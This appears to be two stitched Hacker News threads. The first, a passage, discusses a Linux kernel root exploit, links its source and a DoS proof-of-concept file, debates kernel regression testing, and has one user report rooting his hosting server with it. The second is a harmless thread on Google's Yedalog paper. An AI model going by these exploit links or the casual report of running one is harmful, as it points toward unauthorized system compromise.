</comment></comment></comment></comment></comment><comment><USER4> How come Robert sucks?

edit: ok, if you didn't notice source's filename; <http://sota.gen.nz/compat2/robert_you_suck.c>

And just in case... also ;)

<comment><USER5> There's a tradition of ridiculous file names for these things, like jessica_biel_naked_in_my_bed.c

<comment><USER3> Both file names and nicks really - Przemysław Frasunek listed in the code is (was?) also known as "babcia padlina" (grandma carrion)

<comment><USER2> Dobrze rozumiec :)

</comment></comment></comment></comment><comment><USER6> Anyone would like to explain why stuff like this is not automatically tested? Introducing tests into the kernel source tree would actually help its development and prevent incidents like this, wouldn't it?

<comment><USER7> How would you go about testing system calls?

<comment><USER6> Why not?

I understand device drivers cannot be easily tested (unless we write accurate hardware simulators, which can be done with a lot of effort), and the same happens with time-critical stuff (that could be solved with even more hardware emulation) but this kind of stuff (checking if a known exploit fails) could and should be tested in automated fashion.

Not everything can be tested reliably and automatically, but what can, should.

<comment><USER7> Oh, you're talking about regression testing. While you have a point, I'd like to point out a recent vulnerability [1] that would likely fail many a test for two reasons:

\- The bug is not concrete. It's not entirely in the kernel, and it's not entirely in userspace.

\- The developers have a poor understanding of the bug. The current "fix" only mitigates the problem. There are system configurations where it can still be exploited. There are other issues [2] that arise from large address space management that are waiting to be fixed because of this.

But I agree that regression testing for the whole kernel tree should probably be implemented. (for the various subsystems, many developers develop their own test suites)

[1] [http://theinvisiblethings.blogspot.com/2010/08/skeletons- hid...](http://theinvisiblethings.blogspot.com/2010/08/skeletons-hidden-in- linux-closet.html) [2] <http://grsecurity.net/~spender/64bit_dos.c>

</comment></comment></comment></comment><comment><USER8> Incidentally, there are several buffer overflow errors in the exploit code.

<comment><USER9> Exploits for the exploits?

</comment></comment><comment><USER10> just tried the exploit on my slicehost box and it successfully root it!

</comment><comment><USER10> ~# uname -a Linux slice __ __18.104.22.168-rscloud #26 SMP Mon May 17 12:35:34 UTC 2010 x86_64 GNU/Linux</comment>


Yedalog: Exploring Knowledge at Scale [pdf] - <AUTHOR> http://research.google.com/pubs/archive/43462.pdf <comment><AUTHOR> Is there an open-source implementation of Yedalog?

The only reference I have found to Yedalog on Github is ddlog issue #22 ([https://github.com/HazyResearch/ddlog/issues/22](https://github.com/HazyResearch/ddlog/issues/22)) -- ddlog is a Datalog-like compiler for DeepDive ([http://deepdive.stanford.edu/](http://deepdive.stanford.edu/)).

NB: See also this talk by Daniel von Dincklage, "Yedalog: Exploring Knowledge at Scale" [https://www.youtube.com/watch?v=SP9zS43FRzQ](https://www.youtube.com/watch?v=SP9zS43FRzQ)

<comment><USER2> I doubt that there will be because it works with backend Google infrastructure like flume, map reduce, etc.

This sounds like a well thought out project. Storing structured data in protos and being able to match structure, bind variables, etc. sounds good.

I used bits of their technology in 2013, and Yedalog sounds like a good evolutionary step to not have to keep so many tools and data formats and sources in mind. I like how the first example wrote a data store that is read by the second - gives a good feeling for what it is like toques the language.

</comment></comment><comment><USER3> Looks like the first serious competitor for RDF.</comment>